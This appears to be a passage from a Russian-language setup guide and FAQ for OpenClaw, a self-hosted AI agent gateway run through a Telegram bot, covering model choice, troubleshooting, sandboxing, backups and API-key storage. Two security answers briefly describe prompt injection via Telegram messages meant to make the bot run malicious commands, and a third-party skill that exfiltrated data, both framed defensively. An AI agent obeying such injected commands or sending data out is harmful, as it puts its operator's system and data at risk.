      "model": "google/gemini-2.5-flash"
    },
    "heartbeat": {
      "every": "55m",
      "model": "google/gemini-2.5-flash"
    }
  },
  "list": [
    {
      "id": "main",
      "name": "Main",
      "tools": { "profile": "coding" }
    }
  ]
}

Правила выбора модели при spawn

ЗадачаМодельПочему
Код, скрипты, дебагcodexЗаточена под код (Codex-серия)
Ревью, план, архитектураgpt54Сильное рассуждение
Большой текст (>100K)gemini2M контекст
Простой поиск / суммаризацияflash (дефолт)Быстрая, API key, стабильная
Критично важное решениеopusСамая умная, но дорогая

Почему один агент: проще. Opus координирует и выбирает модель для каждого субагента по задаче. Дефолтная модель субагентов — flash (API key, бессрочный, стабильный).

Частые вопросы

Бот не отвечает в Telegram

Проверьте по порядку:

  1. openclaw status — gateway запущен?
  2. Токен бота правильный? Проверьте в конфиге
  3. openclaw doctor — диагностика проблем
  4. Если бот умирает при закрытии SSH: loginctl enable-linger ЮЗЕР
Ошибка «Invalid API key»

API-ключ мог протухнуть или быть введён неправильно. Проверьте:

  • openclaw models status — статус всех моделей
  • Для OAuth: проверьте лог /var/log/oauth-token-keeper.log
  • Для setup-token: перегенерируйте через claude setup-token
Как обновить OpenClaw?
Terminal
openclaw update
# или через npm:
npm update -g openclaw

После обновления: systemctl restart openclaw-gateway

Что такое Sandbox и зачем он нужен?

Sandbox — изолированная среда (Docker-контейнер) с ограничениями по RAM, CPU и сети.

  • "off" — без sandbox (всё на хосте)
  • "non-main" — субагенты в sandbox, main на хосте (рекомендуется)
  • "all" — всё в sandbox (сломает доступ к инструментам хоста)
Безопасно ли давать боту доступ к компьютеру?

OpenClaw работает локально на вашем сервере. Данные не уходят никуда, кроме API провайдера модели. Но:

  • Сторонние скиллы могут быть опасны — Cisco нашла data exfiltration в одном из них
  • Prompt injection через Telegram — кто-то может попытаться «уговорить» бота выполнить вредоносную команду
  • Telegram allowlist + exec-approvals = два обязательных уровня защиты
OpenClaw на Windows — почему WSL2?

OpenClaw нативно работает только на macOS и Linux. Windows не поддерживается напрямую — нужен WSL2 (Windows Subsystem for Linux), который создаёт полноценную Linux-среду внутри Windows.

Установка: wsl --install в PowerShell от администратора → перезагрузка → работаете внутри Ubuntu.

«API rate limit reached» — что делать?

Часто это не rate limit, а 401 ошибка авторизации — вводящее в заблуждение сообщение. OAuth-токен протух и не смог обновиться (race condition).

Решение: re-login через openclaw models auth login --provider <провайдер>. Для предотвращения: настройте OAuth Token Keeper (см. секцию «Автономность»).

Как проверить, что конфиг валиден?
Terminal
openclaw config validate

Важно: невалидный конфиг = crash-loop gateway. Всегда валидируйте перед hot-reload.

Gateway зависает или падает — что делать?
  1. Проверьте логи: tail -50 /tmp/openclaw/openclaw-$(date +%Y-%m-%d).log
  2. Проверьте процесс: ps aux | grep openclaw-gateway
  3. Перезапуск: systemctl restart openclaw-gateway
  4. Если crash-loop — валидируйте конфиг: openclaw config validate

Частая причина: невалидный JSON в openclaw.json после ручной правки. Всегда делайте бекап перед изменениями.

Как сделать backup памяти и конфигов?
Terminal
# Backup всего workspace + конфигов
tar czf openclaw-backup-$(date +%Y%m%d).tar.gz \
  ~/.openclaw/openclaw.json \
  ~/.openclaw/exec-approvals.json \
  ~/.openclaw/workspace/ \
  ~/.openclaw/memory/

Можно автоматизировать через cron (раз в день) или через workspace-autocommit скрипт с git.

Безопасно ли устанавливать сторонние скиллы?

Не всегда. Cisco обнаружила data exfiltration в стороннем скилле — он отправлял данные на внешний сервер без ведома пользователя.

Правила:

  • Устанавливайте скиллы только из официального ClawhHub или проверенных источников
  • Читайте код скилла перед установкой (они open-source)
  • Egress whitelist защитит даже от вредоносного скилла — данные не уйдут на неизвестный домен
  • autoAllowSkills: false в exec-approvals — скиллы будут запрашивать разрешение
Бот медленно отвечает — как ускорить?

Частые причины:

  • Переполнение контекста — длинная сессия съедает всё окно модели. Решение: /new (новая сессия)
  • Искусственные паузы — отключите: "humanDelay": {"mode": "off"}
  • Prompt cache протух — проверьте heartbeat (должен быть < 60 мин). См. секцию «Токены»
  • Модель перегружена — переключитесь на fallback: /model flash
Где хранятся API-ключи и как их защитить?

API-ключи хранятся в отдельном файле auth-profiles.json, а не в openclaw.json. Это разделение позволяет безопасно делиться конфигом без утечки ключей.

  • Файл: ~/.openclaw/agents/main/agent/auth-profiles.json
  • Права: chmod 600 auth-profiles.json (только владелец читает)
  • Никогда не коммитьте этот файл в git
  • Переменные окружения: ~/.openclaw/.env (читается автоматически)